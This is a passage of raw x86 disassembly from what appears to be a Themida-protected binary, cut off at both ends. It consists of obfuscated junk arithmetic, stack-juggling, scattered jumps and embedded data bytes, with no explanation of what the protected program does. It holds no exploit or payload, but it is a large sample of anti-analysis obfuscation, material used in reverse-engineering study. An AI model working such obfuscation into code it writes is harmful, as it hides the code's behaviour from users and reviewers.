6C944FB9h add edx, ebx sub edx, 6C944FB9h mov ebx, [esp] jmp loc_5A22F3 ; --------------------------------------------------------------------------- loc_5998A0: ; CODE XREF: Themida_:005A151Fj mov ah, 1Ch or ah, 0D8h jmp loc_5AC0F4 ; --------------------------------------------------------------------------- loc_5998AA: ; CODE XREF: Themida_:005A8754j add ebp, 31627C0Ah jmp loc_5AA2BF ; --------------------------------------------------------------------------- loc_5998B5: ; CODE XREF: Themida_:0059FBBFj sub esp, 4 mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], edx push eax sub esp, 4 mov [esp], ebx mov ebx, 8846A9Ch mov eax, ebx pop ebx shl eax, 3 sub eax, 44A92B10h jmp loc_59C959 ; --------------------------------------------------------------------------- loc_5998F5: ; CODE XREF: Themida_:005A1B48j mov [esp], ebp mov ebp, 4 add edi, ebp mov ebp, [esp] add esp, 4 add edi, 4 xchg edi, [esp] pop esp push ebp jmp loc_5A8492 ; --------------------------------------------------------------------------- loc_599915: ; CODE XREF: Themida_:005A805Ej sub ebx, 572B46FBh pop ecx sub esp, 4 mov [esp], ecx push eax push ebx mov ebx, 0FAF0EC5h shr ebx, 6 js loc_59BFB6 and ebx, 53D7629h xor ebx, 63F22948h ja loc_5A88F1 add ebx, 504C0EB8h jnb loc_59CADD pop ebx loc_599954: ; CODE XREF: Themida_:0059BB5Aj sub esp, 4 mov [esp], ecx jmp loc_59CAB5 ; --------------------------------------------------------------------------- loc_59995F: ; CODE XREF: Themida_:0059BB9Fj mov esp, [esp] jmp loc_5A96DA ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78300h, 5C243C87h, 4F8268h, 24148900h, 0CD9E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599982: ; CODE XREF: Themida_:005A67A6j add eax, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5A264A ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0C4835824h, 2A685004h, 5400005Eh, 8124048Fh dd 42404h, 0B7E90000h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5999B3: ; CODE XREF: Themida_:005AE805j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5999B8: ; CODE XREF: Themida_:005AEF65j pop edx push eax jmp loc_5A1FF5 ; --------------------------------------------------------------------------- loc_5999BF: ; CODE XREF: Themida_:005AD23Fj or edx, ebx pop ebx dec edx sub edx, 8661653h push ebp jmp loc_5A8397 ; --------------------------------------------------------------------------- loc_5999CF: ; CODE XREF: Themida_:005A3F04j mov esi, 4 add ecx, esi jmp loc_5A6F6D ; --------------------------------------------------------------------------- loc_5999DB: ; CODE XREF: Themida_:005AB2D6j sub edi, 5BC10712h add edi, edx add edi, 5BC10712h pop edx sub edi, 2 xchg edi, [esp] pop esp mov [esp], dx mov dh, 54h sub esp, 4 jmp loc_5A615D ; --------------------------------------------------------------------------- loc_599A02: ; CODE XREF: Themida_:00598D75j jmp loc_59E269 ; --------------------------------------------------------------------------- loc_599A07: ; CODE XREF: Themida_:005AAA0Fj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp add esp, 4 shl dword ptr [esp], cl jmp loc_59838C ; --------------------------------------------------------------------------- loc_599A1C: ; CODE XREF: Themida_:005A87ABj pop ebp jmp loc_59DF2A ; --------------------------------------------------------------------------- dw 0E951h dd 11C2Ah ; --------------------------------------------------------------------------- loc_599A28: ; CODE XREF: Themida_:005A3796j mov esp, [esp] jmp loc_59D05E ; --------------------------------------------------------------------------- loc_599A30: ; CODE XREF: Themida_:0059ADBCj push ecx jmp loc_5AA83D ; --------------------------------------------------------------------------- loc_599A36: ; CODE XREF: Themida_:005AE84Fj push 73CC039Ah jmp loc_5A62AC ; --------------------------------------------------------------------------- loc_599A40: ; CODE XREF: Themida_:005A8546j xor ebp, ecx jmp loc_5A9BA8 ; --------------------------------------------------------------------------- loc_599A47: ; CODE XREF: Themida_:0059FB1Bj push ecx mov ecx, 6D1D16D4h jmp loc_5A9577 ; --------------------------------------------------------------------------- dw 2268h dd 89000063h, 0AABB241Ch, 81208D14h, 72EF55F3h, 1C5F21DFh dd 0E92434FFh, 10803h ; --------------------------------------------------------------------------- loc_599A70: ; CODE XREF: Themida_:0059BCB8j add esp, 4 jmp loc_5A939D ; --------------------------------------------------------------------------- dd 0E92434FFh, 4165h ; --------------------------------------------------------------------------- loc_599A80: ; CODE XREF: Themida_:005ADFD9j or edx, 2D724B8Fh xor edx, 0BF7AFFEDh mov ebp, edx mov edx, [esp] add esp, 4 push esi push 42FC1D03h pop esi sub eax, esi mov esi, [esp] add esp, 4 add eax, ebp add eax, 42FC1D03h push dword ptr [esp] jmp loc_5A2E06 ; --------------------------------------------------------------------------- db 30h, 0C2h, 66h dd 0E924048Bh, 0E2BEh ; --------------------------------------------------------------------------- loc_599AC0: ; CODE XREF: Themida_:005A1908j mov ecx, 7F014AB4h add ebx, ecx jmp loc_5A4903 ; --------------------------------------------------------------------------- dd 525F5457h, 2F17E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599AD6: ; CODE XREF: Themida_:005A80A2j and ebx, 483A0113h js loc_5A8745 shr ebx, 2 jmp loc_5988E9 ; --------------------------------------------------------------------------- dw 5CB5h dd 0E9D9F580h, 0E9CCh ; --------------------------------------------------------------------------- loc_599AF4: ; CODE XREF: Themida_:005A159Dj neg eax sub eax, 791679B2h neg eax sub eax, 5B0F5775h or esi, eax pop eax jmp loc_5AB253 ; --------------------------------------------------------------------------- loc_599B0A: ; CODE XREF: Themida_:0059EC6Cj mov [esp], edx push dword ptr [esp+4] mov edx, [esp] push eax jmp loc_5A463B ; --------------------------------------------------------------------------- dw 8B66h dd 34E92404h db 0FDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_599B23: ; CODE XREF: Themida_:005A708Fj add eax, 60503D8Ah push ebp jmp loc_5A28EE ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 1B6FBF57h, 0E7C129EEh, 229DE906h, 0EDC00001h dd 5E840F05h, 0F600012Bh, 188E0FDDh, 0E900007Eh, 0C63Ch dd 515BD830h db 52h, 5Ch ; --------------------------------------------------------------------------- loc_599B5E: ; CODE XREF: Themida_:005A0AFCj ; Themida_:005A6225j pop eax push edx mov dl, 27h jmp loc_5A3360 ; --------------------------------------------------------------------------- loc_599B67: ; CODE XREF: Themida_:005983AEj sub cl, 0D5h jl loc_599257 push edx mov dh, 5Bh xor cl, dh pop edx not cl jmp loc_5ABC8B ; --------------------------------------------------------------------------- db 52h, 0B2h, 0F1h dd 850FDAF6h, 4F42h, 840FDAF6h, 1172Ah, 80A8E280h db 0EAh, 0D6h, 5Ch ; --------------------------------------------------------------------------- loc_599B97: ; CODE XREF: Themida_:00598EE1j mov [esp], ebx mov ebx, 1Ch sub ebx, 3AAA4A2Eh sub ebx, 7CCB1703h sub ebx, 46717B66h sub ebx, 446D390Fh add ebx, edi add ebx, 446D390Fh add ebx, 46717B66h push eax mov eax, 23231F6Ah sub eax, 72A501F1h jmp loc_5A19F7 ; --------------------------------------------------------------------------- loc_599BD5: ; CODE XREF: Themida_:loc_5AA078j xor ebx, 60763E99h mov ebp, ebx jmp loc_5A52C5 ; --------------------------------------------------------------------------- loc_599BE2: ; CODE XREF: Themida_:005A9D7Aj add eax, edx jmp loc_5A426A ; --------------------------------------------------------------------------- loc_599BE9: ; CODE XREF: Themida_:0059EA8Cj pop eax pop dword ptr [esp] pop esp mov [esp], esi mov esi, esp push ecx push edi push 261F0E8Eh jmp loc_5A4280 ; --------------------------------------------------------------------------- loc_599BFF: ; CODE XREF: Themida_:005A46AFj sub ebp, ebx add ebp, 4D5319CFh pop ebx xchg ebp, [esp] pop esp mov [esp], esi push 76073252h mov esi, [esp] jmp loc_5A81B7 ; --------------------------------------------------------------------------- loc_599C1C: ; CODE XREF: Themida_:005A647Fj mov edx, 5B837635h sub esi, edx pop edx add ebx, esi pop esi jmp loc_59BBD2 ; --------------------------------------------------------------------------- loc_599C2C: ; CODE XREF: Themida_:0059FBD1j push esp pop eax sub esp, 4 mov [esp], edi push eax push 0B5A1E32h pop eax xor eax, 0B5A1E36h mov edi, eax pop eax add eax, 459D300Eh add eax, edi sub eax, 459D300Eh jmp loc_5A35AF ; --------------------------------------------------------------------------- loc_599C57: ; CODE XREF: Themida_:005AE75Aj add esi, edx add esi, 1305770Ch pop edx or esi, 4B805DB1h jg loc_5AB63B shr esi, 7 jnp loc_599EF6 add esi, 210C7189h and dh, 8 push eax loc_599C7F: ; CODE XREF: Themida_:0059A243j pop ebp add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 59956E54h push esi jmp loc_5984CE ; --------------------------------------------------------------------------- loc_599C97: ; CODE XREF: Themida_:005A5C88j push edi mov edi, 9F63B7C2h push edx mov edx, 11256995h sub ebx, edx pop edx sub ebx, 6C8F6F5Ch add ebx, edi add ebx, 6C8F6F5Ch add ebx, 11256995h mov edi, [esp] add esp, 4 jmp loc_5A733F ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832434h, 4C48104h, 68000000h, 7E3Ah, 68241489h dd 7E5Ch, 0BF243C89h, 2C8B1A13h, 0C27EE9h db 0 ; --------------------------------------------------------------------------- loc_599CF1: ; CODE XREF: Themida_:005A1E30j pop edi and edx, 120942FFh jmp loc_5AB79B ; --------------------------------------------------------------------------- db 53h, 52h, 0B6h dd 60F68057h, 49FD890Fh, 0CE800001h, 0CCC6E97Eh, 66BE0000h dd 5346E038h, 41206405h, 61830F71h, 500011Ch, 0E8BB92D8h dd 133D0E9h db 0 ; --------------------------------------------------------------------------- loc_599D2D: ; CODE XREF: Themida_:005AE7A5j pop esi and edx, edi pop edi xchg esi, edx not esi push edx jmp loc_5A27CF ; --------------------------------------------------------------------------- db 8Bh dd 4EE9242Ch, 0E900010Ch, 0FFFFE644h, 5324348Bh, 87E3E9h db 0 ; --------------------------------------------------------------------------- loc_599D51: ; CODE XREF: Themida_:005A3D7Dj xor ebp, [esp] jmp loc_5A835A ; --------------------------------------------------------------------------- loc_599D59: ; CODE XREF: Themida_:005A3953j push edx mov edx, 4EE319EAh sub esp, 4 mov [esp], ebp mov ebp, 543559AEh dec ebp not ebp jmp loc_59F768 ; --------------------------------------------------------------------------- loc_599D72: ; CODE XREF: Themida_:005ACA34j sub eax, 5D012487h not eax jmp loc_59A2E2 ; --------------------------------------------------------------------------- dw 8359h dd 0EC8104C4h, 4, 81243C89h, 4ECh, 48F5400h, 24048124h dd 4, 0DAE9505Fh db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_599DA3: ; CODE XREF: Themida_:005AADB6j mov eax, 66C560BBh or eax, 21F11384h dec eax xor eax, 58252B0Fh xor eax, 36792564h push edx mov edx, 63D365Ah jmp loc_59CE6E ; --------------------------------------------------------------------------- aZiSu db 'Zέιγ=',0 db 0 ; --------------------------------------------------------------------------- loc_599DCB: ; CODE XREF: Themida_:005A4310j pop cx jmp loc_59D39F ; --------------------------------------------------------------------------- loc_599DD2: ; CODE XREF: Themida_:005994FAj mov eax, [esp] add esp, 4 push small 0 sub [esp], dh mov dh, [esp] add esp, 2 shr dh, 4 jmp loc_59CB53 ; --------------------------------------------------------------------------- loc_599DF0: ; CODE XREF: Themida_:005A1F50j ; Themida_:005AA5A9j pop eax xchg esi, [esp] pop esp mov [esp], ebx push 23D8h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 push edx mov edx, 418338A8h inc edx and edx, 62106B7Ah neg edx sub edx, 0BFFFD7D6h add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5ABE06 ; --------------------------------------------------------------------------- loc_599E3F: ; CODE XREF: Themida_:005A345Bj push 57CEh mov [esp], edx sub esp, 4 mov [esp], edi push 1D513106h pop edi and edi, 36554B56h jmp loc_5AB91F ; --------------------------------------------------------------------------- loc_599E61: ; CODE XREF: Themida_:005A4A07j jns loc_5A43B7 sub edx, 46DC0FA9h sub edx, 0B1B53980h mov esi, ecx pop ebp pop ebx add ecx, 26930F16h add ecx, 195C0535h xor ebx, ecx pop ecx push ecx push 36C8476Ch pop ecx jmp loc_598994 ; --------------------------------------------------------------------------- loc_599E92: ; CODE XREF: Themida_:005A905Aj mov ebx, eax jmp loc_598E1A ; --------------------------------------------------------------------------- loc_599E99: ; CODE XREF: Themida_:005A51ADj pop ebx pop dword ptr [esp] pop esp jmp loc_5A818D ; --------------------------------------------------------------------------- loc_599EA3: ; CODE XREF: Themida_:005AEAC5j mov ebp, edx pop edx jmp loc_5AC2B5 ; --------------------------------------------------------------------------- loc_599EAB: ; CODE XREF: Themida_:00598863j push 1133h mov [esp], eax push ebp mov ebp, 544D12ECh jmp loc_59DAF5 ; --------------------------------------------------------------------------- loc_599EBE: ; CODE XREF: Themida_:005AF410j mov ebx, 1 and ecx, ebx mov ebx, [esp] push esi jmp loc_5A0EF2 ; --------------------------------------------------------------------------- aZs db ')ΠZι:Δ',0 align 2 loc_599ED6: ; CODE XREF: Themida_:0059F792j jmp loc_59FAEF ; --------------------------------------------------------------------------- db 81h dd 791B02F7h, 5FFD29D7h, 1C6F095Fh, 81242C8Bh, 4C4h, 0E496E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599EF6: ; CODE XREF: Themida_:00599C6Fj add esi, 210C7189h jmp loc_5AF058 ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 364D6800h, 4890000h, 0EF7AE924h, 0FE51FFFFh, 5901244Ch dd 8005E5C0h, 0E8000EC5h, 1E37E9h, 4B800h, 0A8680000h dd 0E900007Ch, 0C6D3h, 33240431h, 0E95C2404h, 1114Eh ; --------------------------------------------------------------------------- loc_599F44: ; CODE XREF: Themida_:005A694Dj pop ebx add al, 92h sub al, 94h push ecx mov cl, 0FDh neg cl neg cl jmp loc_5A4973 ; --------------------------------------------------------------------------- loc_599F55: ; CODE XREF: Themida_:005AA3BCj add edx, 320B1570h sub edx, 68B0464Ch sub edx, 32B101F7h jmp loc_5AC665 ; --------------------------------------------------------------------------- dd 0E9D1F749h, 0EE1Eh ; --------------------------------------------------------------------------- loc_599F74: ; CODE XREF: Themida_:005A800Cj push edx jmp loc_5AA310 ; --------------------------------------------------------------------------- loc_599F7A: ; CODE XREF: Themida_:005A28FBj or ebp, ecx pop ecx add ebp, 46C750E7h xor ebp, 39F00D53h sub ebp, 9A79E5B3h add eax, ebp pop ebp sub esp, 4 mov [esp], ecx push esi jmp loc_5AAA8C ; --------------------------------------------------------------------------- loc_599F9E: ; CODE XREF: Themida_:005A51C5j pop eax add ecx, 4 xchg ecx, [esp] pop esp add ecx, 69A00AF5h sub ecx, ebx sub ecx, 69A00AF5h pop ebx add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] push ecx push 1E58h mov [esp], edx jmp loc_5A75C1 ; --------------------------------------------------------------------------- dd 2C815D5Fh, 0E0DD224h, 7EA2685Bh, 2C890000h, 0B4E95724h db 0D0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_599FEB: ; CODE XREF: Themida_:005A681Dj add esp, 4 jmp loc_5A2CE3 ; --------------------------------------------------------------------------- loc_599FF3: ; CODE XREF: Themida_:005A3FF6j add edx, 7AB14EA7h mov ebx, edx pop edx jmp loc_5ACBB8 ; --------------------------------------------------------------------------- loc_59A001: ; CODE XREF: Themida_:0059D0ADj add cl, 2Dh mov dh, cl pop ecx add dh, 5 jmp loc_5A8472 ; --------------------------------------------------------------------------- loc_59A00F: ; CODE XREF: Themida_:loc_5AD4ADj push ebp mov ebp, 0ED060D3h neg ebp and ebp, 50A13385h not ebp xor ebp, 0DA008D7Ah or eax, ebp jmp loc_5A1406 ; --------------------------------------------------------------------------- loc_59A02C: ; CODE XREF: Themida_:005A354Dj push dword ptr [esp+4] jmp loc_59BBBD ; --------------------------------------------------------------------------- loc_59A035: ; CODE XREF: Themida_:005A925Bj jmp loc_59F136 ; --------------------------------------------------------------------------- loc_59A03A: ; CODE XREF: Themida_:0059FC37j ; Themida_:005A664Dj sub ebp, ecx pop ecx sub ebp, 28B52F40h add edx, 7C6612CAh jmp loc_59B6F5 ; --------------------------------------------------------------------------- loc_59A04E: ; CODE XREF: Themida_:005A369Ej ; Themida_:005AF180j push ecx jmp loc_5A0DAC ; --------------------------------------------------------------------------- loc_59A054: ; CODE XREF: Themida_:005AA21Cj pop edx push ebp jmp loc_5A1E9E ; --------------------------------------------------------------------------- loc_59A05B: ; CODE XREF: Themida_:0059F2D4j xor ebx, 0B7262831h jmp loc_5A1E97 ; --------------------------------------------------------------------------- loc_59A066: ; CODE XREF: Themida_:0059A2C8j mov eax, esp jmp loc_59C28F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXhi2 db 'Xh¨2',0 align 2 dw 3C89h dd 3BB1E924h db 1, 0 ; --------------------------------------------------------------------------- loc_59A07E: ; CODE XREF: Themida_:0059AD27j xor ebx, ebp pop ebp add ebx, 3F3239B9h shl ebx, 3 or ebx, 6B1616F7h jmp loc_5997C0 ; --------------------------------------------------------------------------- loc_59A095: ; CODE XREF: Themida_:loc_5A99A3j ; Themida_:005AAA9Aj xchg esi, [esp] pop esp jmp loc_59F8F9 ; --------------------------------------------------------------------------- dw 742Dh dd 0E95DB97Bh, 132C4h ; --------------------------------------------------------------------------- loc_59A0A8: ; CODE XREF: Themida_:005A341Dj and edi, 2DCC7124h add edi, 0DBF7DFE0h add eax, edi pop edi xchg eax, [esp] jmp loc_59F9C7 ; --------------------------------------------------------------------------- loc_59A0BF: ; CODE XREF: Themida_:005A624Bj add ecx, 54752313h not ecx add ecx, 555D239Bh jmp loc_59F901 ; --------------------------------------------------------------------------- loc_59A0D2: ; CODE XREF: Themida_:005A0805j mov [esp], ebp jmp loc_5A788B ; --------------------------------------------------------------------------- dw 5954h dd 4C181h, 0C1810000h, 4, 5C240C87h, 4C781h, 25680000h dd 89000060h, 0BB53240Ch, 2, 1C8BD989h, 4C48124h, 81000000h dd 0DC4894EFh, 79FFE92Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A116: ; CODE XREF: Themida_:005A1D59j sub ch, dl pop edx mov ebx, [esp] add esp, 4 add al, 68h add al, ch sub al, 68h push dword ptr [esp] pop ecx add esp, 4 push ecx mov ch, 5Bh and ch, 61h jmp loc_5A938C ; --------------------------------------------------------------------------- db 81h dd 4ECh, 488AE900h db 1, 0 ; --------------------------------------------------------------------------- loc_59A142: ; CODE XREF: Themida_:005AAE95j push dword ptr [esp] pop eax jmp loc_59B64D ; --------------------------------------------------------------------------- db 66h dd 5324048Bh, 0ED59E9h, 0C7815F00h, 82EB96BFh, 815FF901h dd 4C1h, 50E95100h db 16h, 1, 0 ; --------------------------------------------------------------------------- loc_59A16B: ; CODE XREF: Themida_:005ABA7Dj add edi, ecx sub edi, 0D5F2FE7h push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, 2 add edi, 475F2D6Fh add edi, ebp sub edi, 475F2D6Fh pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59DB4C ; --------------------------------------------------------------------------- loc_59A1A0: ; CODE XREF: Themida_:005AF2EEj or ebp, 5A602026h xor ebp, 3E985C31h xor ebp, 4B9A81D1h jmp loc_5A1790 ; --------------------------------------------------------------------------- db 66h dd 6602B60Fh, 6673B068h, 0E9240489h, 4CE8h ; --------------------------------------------------------------------------- loc_59A1C8: ; CODE XREF: Themida_:005A5A5Cj pop edi push 2D8Bh mov [esp], ebp jmp loc_5A3B2D ; --------------------------------------------------------------------------- loc_59A1D6: ; CODE XREF: Themida_:0059CBD5j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A1B45 ; --------------------------------------------------------------------------- dw 0C601h dd 0E38EE81h, 575836BAh, 400C84BFh, 0C84BB6Ch, 0B9516C40h dd 6B806352h, 0A964E9h, 0FDAF700h, 0FFEF058Ch, 4F281FFh dd 0F1DAC45h, 71BD8Ch, 0F3A3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A21A: ; CODE XREF: Themida_:005A0B6Ej sub ecx, 175FB614h add esi, 28C0A9Dh sub esi, 2EDA560Dh jmp loc_5A99BC ; --------------------------------------------------------------------------- loc_59A231: ; CODE XREF: Themida_:0059E843j xor ebx, [esp] mov esp, [esp] push 35CAh mov [esp], ebp push esp push dword ptr [esp] jmp loc_599C7F ; --------------------------------------------------------------------------- dd 66555666h, 812A7ABDh, 2ECh, 259CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A25A: ; CODE XREF: Themida_:005AF00Ej add ecx, 4 xchg ecx, [esp] pop esp add edi, 5E0E1621h add edi, 0CC58ECF3h and edi, 724857A7h not edi jmp loc_5AC6A9 ; --------------------------------------------------------------------------- db 0B8h, 6Ch, 3Dh dd 0B951101Ah, 9CAC40Fh, 6F20E9h db 0 ; --------------------------------------------------------------------------- loc_59A28D: ; CODE XREF: Themida_:005AC0C4j push ebx mov bh, 4Fh or bh, 59h jmp loc_59846E ; --------------------------------------------------------------------------- loc_59A298: ; CODE XREF: Themida_:005A87C7j ; Themida_:005AA315j not edx xor edx, 0EC38A22Ah sub ebx, edx pop edx push dword ptr [ebx] sub dword ptr [esp], 0F3A43E2h pop ecx add ecx, 0F3A43E2h pop ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax jmp loc_59A066 ; --------------------------------------------------------------------------- loc_59A2CD: ; CODE XREF: Themida_:0059F2F4j add bl, ch jmp loc_598F68 ; --------------------------------------------------------------------------- loc_59A2D4: ; CODE XREF: Themida_:005A8C73j shr edx, 1 and edx, 578803CFh xchg eax, edx jmp loc_5A41BD ; --------------------------------------------------------------------------- loc_59A2E2: ; CODE XREF: Themida_:00599D79j push esi mov esi, 1D18D9h sub eax, esi pop esi add edx, 0D6649ACh add edx, eax push ebp mov ebp, 561Fh xor ebp, 2CE2108Dh neg ebp neg ebp sub ebp, 1F7BFCE6h sub edx, ebp jmp loc_598B3C ; --------------------------------------------------------------------------- loc_59A310: ; CODE XREF: Themida_:005AE3FEj inc edx jo loc_5A8713 xor edx, 4902666Fh mov esi, edx pop edx xor ebx, esi pop esi push ebx mov ebx, 4B6E4852h add ebp, ebx pop ebx sub ebp, ebx sub ebp, 4B6E4852h pop ebx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], esi mov esi, esp add esi, 4 add esi, 4 push 6233h jmp loc_5AD910 ; --------------------------------------------------------------------------- loc_59A35C: ; CODE XREF: Themida_:00598FEDj jmp loc_5A9EB6 ; --------------------------------------------------------------------------- loc_59A361: ; CODE XREF: Themida_:0059EA2Fj ; Themida_:005AA882j push 328Ch jmp loc_5AA946 ; --------------------------------------------------------------------------- db 5Ah dd 295EF729h, 0FC5EE9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A376: ; CODE XREF: Themida_:005A8188j mov [esp], edx mov edx, 6BE55E05h shl edx, 3 add edx, 4254066Fh shl edx, 8 push 2D9Eh mov [esp], ebp push 3756192Ch pop ebp xor ebp, 71751C14h and ebp, 560253Eh add ebp, 21233B03h jmp loc_5AC1CD ; --------------------------------------------------------------------------- loc_59A3AF: ; CODE XREF: Themida_:005A26B7j sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], ebp push 10968D2h jmp loc_5AF4D1 ; --------------------------------------------------------------------------- loc_59A3CB: ; CODE XREF: Themida_:0059BBBEj pop dword ptr [esp] pop esp mov ax, [esp] push 3986h mov [esp], edi push esp jmp loc_5AE179 ; --------------------------------------------------------------------------- loc_59A3E1: ; CODE XREF: Themida_:00599235j pop edi inc edi jmp loc_5A5092 ; --------------------------------------------------------------------------- dd 6A2468h, 240C8900h, 2BAE6856h, 815E4065h, 0DCB961EEh dd 0E9F18907h, 0D8E1h ; --------------------------------------------------------------------------- loc_59A404: ; CODE XREF: Themida_:005ACA66j mov esi, 31571AE2h push 4DB4h mov [esp], edi mov edi, 494674CCh sub eax, edi pop edi add eax, esi jmp loc_5A0DCE ; --------------------------------------------------------------------------- loc_59A420: ; CODE XREF: Themida_:005A197Cj jmp loc_5A2F71 ; --------------------------------------------------------------------------- loc_59A425: ; CODE XREF: Themida_:005AA20Fj sub ebp, edi jmp loc_5A2FD2 ; --------------------------------------------------------------------------- loc_59A42C: ; CODE XREF: Themida_:0059863Dj mov esi, 6D763817h dec esi jmp loc_59BBB6 ; --------------------------------------------------------------------------- loc_59A437: ; CODE XREF: Themida_:0059BB0Bj pop ebx push eax jmp loc_5A8C37 ; --------------------------------------------------------------------------- dw 0F43h dd 64CE80h, 880F4300h, 1137Fh, 0D652F381h, 0DD899C84h dd 89241C8Bh db 0FDh ; --------------------------------------------------------------------------- loc_59A459: ; CODE XREF: Themida_:005A1E1Aj mov ecx, [esp] add esp, 4 add esp, 4 push 3E6h mov [esp], edx push edi push ebp mov ebp, 0F005C8Dh sub ebp, 233C648Bh jg loc_5AF14C jmp loc_59C0BB ; --------------------------------------------------------------------------- loc_59A485: ; CODE XREF: Themida_:005A5EF2j push ebx push ecx mov ecx, 2E807594h xor ecx, 76AC2F20h add ecx, 0ACB909E7h mov ebx, ecx pop ecx sub esi, ebx mov ebx, [esp] add esp, 4 pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp inc word ptr [esp] pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59A4B8: ; CODE XREF: Themida_:005A44CEj pop esi jmp loc_59E838 ; --------------------------------------------------------------------------- loc_59A4BE: ; CODE XREF: Themida_:0059FE76j sub esp, 4 mov [esp], edi mov edi, esp push 7E53h mov [esp], ecx mov ecx, 667943AEh push edi jmp loc_5A67B0 ; --------------------------------------------------------------------------- loc_59A4DC: ; CODE XREF: Themida_:005AD6BEj push esi mov si, 265Ah not si push edi mov di, 442Dh jmp loc_59D6BB ; --------------------------------------------------------------------------- loc_59A4EE: ; CODE XREF: Themida_:005A4A8Bj push edx mov edx, 4 add [esp+4], edx pop edx jmp loc_5A6584 ; --------------------------------------------------------------------------- loc_59A4FE: ; CODE XREF: Themida_:005A80BFj push edi mov edi, 69A67DC9h push ecx mov ecx, 1 add edi, ecx pop ecx sub edi, 41C67FC0h add edi, 0DA2001F7h add ebx, edi pop edi sub esp, 4 mov [esp], eax push esi jmp loc_59C3FA ; --------------------------------------------------------------------------- db 83h dd 0C6E904C4h db 0FCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A533: ; CODE XREF: Themida_:005A6C91j xor ebx, 286B7471h jmp loc_59E850 ; --------------------------------------------------------------------------- dw 565Ch dd 42474FFh, 24048F5Eh, 0EC81515Ch, 4, 0AF7FE9h db 0 ; --------------------------------------------------------------------------- loc_59A555: ; CODE XREF: Themida_:005A907Bj mov esp, [esp] pop dword ptr [esp] mov esp, [esp] test cx, ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59A567: ; CODE XREF: Themida_:005A15A7j sub edx, ebp pop ebp and edx, 37F24FE4h shr edx, 2 xor edx, 0AC1779F2h sub edi, edx pop edx jmp loc_5AD578 ; --------------------------------------------------------------------------- aSsx db 'Sιx[',0 db 0 ; --------------------------------------------------------------------------- loc_59A587: ; CODE XREF: Themida_:005AC34Fj add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx mov edx, 258515DCh sub edx, 715554CEh sub eax, 39394CD4h jmp loc_5A2FA2 ; --------------------------------------------------------------------------- loc_59A5AC: ; CODE XREF: Themida_:005AB88Bj pop eax jmp loc_5A080A ; --------------------------------------------------------------------------- loc_59A5B2: ; CODE XREF: Themida_:005A64BBj ; Themida_:005AC59Cj mov al, dh pop edx sub ch, al mov ax, [esp] add esp, 2 jmp loc_5A77C3 ; --------------------------------------------------------------------------- loc_59A5C3: ; CODE XREF: Themida_:005A1785j add edi, edx add edi, 6E765D0Fh push esi jmp loc_59F3B5 ; --------------------------------------------------------------------------- loc_59A5D1: ; CODE XREF: Themida_:005A8E1Aj push cx sub esp, 4 mov [esp], edx mov dl, 23h push ebx mov bh, 4Dh mov cl, 0A3h jmp loc_59CC34 ; --------------------------------------------------------------------------- dd 13591E9h, 4BDBF700h, 79C38143h, 81212247h, 0C40E7DF3h dd 1A79E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A602: ; CODE XREF: Themida_:005A7B20j sub esp, 4 jmp loc_5ACBD5 ; --------------------------------------------------------------------------- loc_59A60A: ; CODE XREF: Themida_:005A0EB3j pop ebx push edx mov edx, 28A320BBh and edx, 7067141Ah push esi mov esi, 63846C2Fh sub edx, esi pop esi jmp loc_5A9B44 ; --------------------------------------------------------------------------- loc_59A625: ; CODE XREF: Themida_:005993A7j push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_5A6623 ; --------------------------------------------------------------------------- loc_59A633: ; CODE XREF: Themida_:00599028j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push eax mov eax, 7D785340h shl eax, 5 push edx mov edx, 50F59804h sub eax, 1C0F4906h jmp loc_5A3857 ; --------------------------------------------------------------------------- loc_59A65B: ; CODE XREF: Themida_:005A328Fj mov edi, 1D68780Fh push esi mov esi, 32744725h jmp loc_5A6120 ; --------------------------------------------------------------------------- loc_59A66B: ; CODE XREF: Themida_:005AD097j xor ecx, 2DE2309Bh push edi mov edi, 792EA419h jmp loc_5A6B85 ; --------------------------------------------------------------------------- loc_59A67C: ; CODE XREF: Themida_:005AF2B3j sub ebx, edx sub ebx, 7A60009Eh jmp loc_598E85 ; --------------------------------------------------------------------------- loc_59A689: ; CODE XREF: Themida_:00598F19j ; Themida_:0059D75Ej mov 